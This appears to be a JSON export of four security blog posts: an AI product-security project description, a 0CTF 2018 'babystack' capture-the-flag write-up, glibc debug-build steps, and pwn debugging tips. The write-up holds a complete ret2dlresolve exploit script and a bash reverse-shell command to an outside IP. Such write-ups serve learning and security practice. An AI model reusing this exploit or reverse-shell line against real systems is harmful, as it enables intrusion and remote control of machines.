[{"content":"Beyond Vulnerability Detection. Toward Attack Vector Discovery.\nThe Problem AI is becoming increasingly effective at finding vulnerabilities in source code. It can identify insecure patterns, detect implementation flaws, and even help rewrite software in memory-safe languages like Rust.\nBut finding more vulnerabilities is not the same as understanding how a product can be attacked.\nSome of the most significant security risks emerge not from individual bugs, but from architectural decisions, trust boundaries, implicit assumptions, and interactions between otherwise secure components.\nTraditional security scanners and AI-powered code analysis tools largely focus on isolated vulnerabilities. They often lack the broader system context needed to understand how attackers could exploit legitimate functionality or chain multiple components into unexpected attack paths.\nThe next frontier of product security isn\u0026rsquo;t just finding more bugs. It\u0026rsquo;s discovering attack vectors at the system level.\nWhat We\u0026rsquo;re Building Agent Steven is an AI-powered product security initiative built around Claude, focused on discovering architecture-level attack vectors.\nOur goal is to connect fragmented engineering knowledge—including architecture diagrams, design documents, source code, API specifications, and historical security findings—into a unified understanding of a product\u0026rsquo;s security posture.\nRather than simply asking \u0026ldquo;Where is the vulnerability?\u0026rdquo;, we want AI to reason about more fundamental questions:\nWhat are the actual entry points and trust boundaries? What assumptions do components make about one another? Can individually secure components create an insecure system when combined? What attack paths might exist that traditional vulnerability scanners cannot identify? Our Approach We\u0026rsquo;re exploring a multi-agent security analysis pipeline powered by Claude:\nKnowledge Integration — Connect distributed engineering knowledge and product documentation. Architecture Understanding — Build a system-level model of components, interfaces, trust boundaries, and dependencies. Attack Vector Discovery — Reason across components to identify overlooked attack surfaces, unsafe architectural assumptions, and potential multi-step attack paths. Security Validation — Generate evidence-backed security hypotheses and actionable threat models for human review. The goal is to complement existing vulnerability detection—not replace it.\nWhy Claude? Understanding complex systems requires more than analyzing individual code snippets.\nWe see Claude\u0026rsquo;s reasoning, long-context capabilities, and agentic workflows as promising building blocks for connecting fragmented engineering knowledge and investigating security implications across entire product architectures.\nOur longer-term vision is to make architecture-level security reasoning a continuous part of the Secure Development Lifecycle (SDL), rather than an occasional manual review.\nProject Status Agent Steven is an early-stage, independently developed project exploring AI-driven product security research and automation.\nOur initial focus is on building and evaluating a practical workflow for knowledge integration, architectural reasoning, and attack-vector discovery.\nAll security findings are intended to be validated through human review and authorized security testing.\nAbout the Founder Steven Lin is a Product Security Engineer with experience across application, embedded system, and hardware security.\nHis background includes vulnerability research, security testing, reverse engineering, and integrating security practices into the software development lifecycle.\nAgent Steven brings these experiences together to explore how AI can move product security beyond individual vulnerability detection toward deeper system-level understanding.\nContact: me@stevenlin.cc\nLinkedIn: Steven Lin\n","date":"2026-10-11T00:00:00+08:00","permalink":"https://stevenlin.cc/blog/p/agent-steven/","title":"Agent Steven"},{"content":" Challenge link: babystack\nCategory: Pwn\nOriginal writeup: https://ss8651twtw.github.io/blog/writeup/0CTF-2018-Quals:Baby-Stack/\nInfo leak is no longer required to exploit a stack overflow in 2018.\nEnjoy the babystack\n202.120.7.202:6666\nProtection 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Analysis pow.py It is a wrapper of babystack. Add proof-of-work and limiting the length of input is 0x100; also pipe stdout and stderr to /dev/null.\nbabystack Just alarm and read buffer.\n1 2 3 4 5 6 7 8 9 10 11 12 13 ssize_t sub_804843B() { char buf; // [esp+0h] [ebp-28h] return read(0, \u0026amp;buf, 0x40u); } int __cdecl main() { alarm(0xAu); sub_804843B(); return 0; } Vulnerability No canary found and we can read a lot of characters to buf.\nBuffer overflow in read(0, \u0026amp;buf, 0x40u) Idea no output function =\u0026gt; cannot do information leak no libc provided =\u0026gt; guessing function offset maybe hard NX enabled =\u0026gt; read shell code and jump to execute cannot work According to the description, \u0026ldquo;info leak is no longer required\u0026rdquo;, it means that we can use ret2dlresolve skill to pwn it!\nTry to solve by the following steps:\nuse rop to read fake data structures and ret2main use ret2dlresolve to call system(\u0026quot;/bin/sh\u0026quot;) Fake data structures:\nElf32_Rel 1 2 3 4 5 6 /* Relocation table entry without addend (in section of type SHT_REL). */ typedef struct { Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */ } Elf32_Rel; https://code.woboq.org/userspace/glibc/elf/elf.h.html#633\nElf32_Sym 1 2 3 4 5 6 7 8 9 10 /* Symbol table entry. */ typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym; https://code.woboq.org/userspace/glibc/elf/elf.h.html#518\nWorking flow about _dl_runtime_resolve\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 _dl_runtime_resolve(link_map, reloc_arg) + +-----------+ | | Elf32_Rel | \u0026lt;--------------+ +-----------+ +--+ | r_offset | +-----------+ | | r_info | +----\u0026gt; | Elf32_Sym | | +-----------+ +-----------+ +----------+ | .rel.plt | st_name | +--\u0026gt; | system\\0 | | | | +----------+ v +-----------+ .dynstr +----+-----+ .dynsym | \u0026lt;system\u0026gt; | +----------+ .got.plt fake Elf32_Rel\nr_offset writable (after resolving symbol write the actual address of function) r_info high 24 bits (r_info \u0026gt;\u0026gt; 8) * 16 point to fake Elf32_Sym (16 is size of Elf32_Sym) r_info low 8 bits must be 0x07 (R_386_JMP_SLOT) fake Elf32_Sym\n.dynstr + st_name point to system string Read the fake Elf32_Rel、Elf32_Sym structures and ret2main to call _dl_runtime_resolve.\nuse plt0 1 2 3 4 5 Disassembly of section .plt: 080482f0 \u0026lt;read@plt-0x10\u0026gt;: // plt0 80482f0: ff 35 04 a0 04 08 push DWORD PTR ds:0x804a004 // push link_map 80482f6: ff 25 08 a0 04 08 jmp DWORD PTR ds:0x804a008 // jmp _dl_runtime_resolve We can calculate the reloc_arg to make .rel.plt + reloc_arg point to our fake structures and jump to plt0, let it resolve symbol to system.\nAfter resolving the symbol, _dl_runtime_resolve will call the function.\nExploitation 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 #!/usr/bin/env python from pwn import * from hashlib import sha256 import time # r = process(\u0026#39;./babystack\u0026#39;) r = remote(\u0026#39;202.120.7.202\u0026#39;, 6666) def verify(): data = r.recvline()[:-1] for i in xrange(2 ** 32): if sha256(data + p32(i)).digest().startswith(\u0026#39;\\0\\0\\0\u0026#39;): break r.send(p32(i)) log.info(\u0026#39;POW is over\u0026#39;) sleep(0.5) def send(data, length): time.sleep(0.1) r.send(data.ljust(length)) plt0 = 0x80482f0 relplt = 0x80482b0 dynsym = 0x80481cc dynstr = 0x804822c main = 0x8048457 read_plt = 0x8048300 buf = 0x804a500 rop = flat( # _dl_runtime_resolve call and reloc_arg plt0, buf - relplt, # will resolve system 0xdeadbeef, # return address buf + 36 # parameter \u0026#34;/bin/sh\u0026#34; ) data = flat( # Elf32_Rel buf, 0x7 | ((buf + 12 - dynsym) / 16) \u0026lt;\u0026lt; 8, 0xdeadbeef, # 0xdeadbeef is padding # Elf32_Sym buf + 28 - dynstr, 0, 0, 0x12, \u0026#39;system\\x00\\x00\u0026#39;, \u0026#39;/bin/sh\\x00\u0026#39; ) verify() # read data to buf send(\u0026#39;a\u0026#39; * 44 + flat(read_plt, main, 0, buf, 44), 0x40) send(data, 44) # use ret2dlresolve to call system(\u0026#34;/bin/sh\u0026#34;) send(\u0026#39;a\u0026#39; * 44 + rop, 0x40) # make a reverse shell send(\u0026#39;bash -c \u0026#34;bash -i \u0026amp;\u0026gt;/dev/tcp/35.201.141.84/80 0\u0026gt;\u0026amp;1\u0026#34;\u0026#39;, 0x100) r.interactive() flag{return_to_dlresolve_for_warming_up}\nNote https://www.slideshare.net/AngelBoy1/re2dlresolve\nhttps://www.youtube.com/watch?v=wsIvqd9YqTI\n","date":"2018-06-22T23:36:52+08:00","permalink":"https://stevenlin.cc/blog/p/0ctf-2018-quals-baby-stack/","title":"0CTF 2018 Quals: Baby Stack"},{"content":"This article uses 64-bit Ubuntu 16.04.\nDownload the source code Download the glibc source code from the official GNU C Library (glibc) website. This example uses glibc 2.23.\nDownload and extract glibc 2.23:\n1 2 wget https://ftp.gnu.org/gnu/libc/glibc-2.23.tar.gz tar zxvf glibc-2.23.tar.gz Configure and build Enter the glibc 2.23 directory and create a separate build directory:\n1 2 cd glibc-2.23 mkdir build Enter the build directory and configure the build options:\nCFLAGS Enable full debugging information and minimize optimization. See the example below. prefix The destination for the compiled files. This example installs them in a glibc directory under the current user\u0026rsquo;s home directory. 1 2 cd build CFLAGS=\u0026#39;-g3 -ggdb3 -gdwarf-4 -Og -Wno-error\u0026#39; ../configure --prefix=/home/`whoami`/glibc Build and install:\n1 2 make -j4 make install -j4 Notes To build a 32-bit version of glibc:\nCC gcc -m32 CFLAGS host=i686-linux-gnu build=i686-linux-gnu 1 CC=\u0026#39;gcc -m32\u0026#39; CFLAGS=\u0026#39;-g3 -ggdb3 -gdwarf-4 -Og -Wno-error --host=i686-linux-gnu --bulid=i686-linux-gnu\u0026#39; ../configure --prefix=/home/`whoami`/glibc ","date":"2018-06-22T23:36:52+08:00","permalink":"https://stevenlin.cc/blog/p/build-libc-with-debug-info/","title":"Build libc with debug info"},{"content":"Before Pwn alarm If a binary uses alarm as a timeout and you are sure the vulnerability is not inside alarm, you can patch its function name to isnan.\nOpen the binary in Vim. Replace the function name alarm with isnan, then save the file. Done. Link libc with debugging information When debugging with GDB, stepping into a libc function normally provides no symbols or similar debugging information. This makes debugging harder, so it is useful to link the binary against a libc build that includes debugging information.\nFollow Build libc with debug info to build a libc with debugging information. Run ldd \u0026lt;binary\u0026gt; to identify the linked loader. Patch the loader path so it points to the loader you built. Done. A shortcut for patching the loader path Suppose the original loader path is /lib64/ld-linux-x86-64.so.2. First create a symbolic link at /lib64/ld_linux-x86-64.so.2 that points to your custom loader. You then only need to replace ld- with ld_ in the binary\u0026rsquo;s loader path.\nNote After replacing the loader, it will prefer the libc in the same directory, allowing the binary to link against the libc build with debugging information.\n","date":"2018-06-22T23:36:52+08:00","permalink":"https://stevenlin.cc/blog/p/pwn-tips/","title":"Pwn tips"}]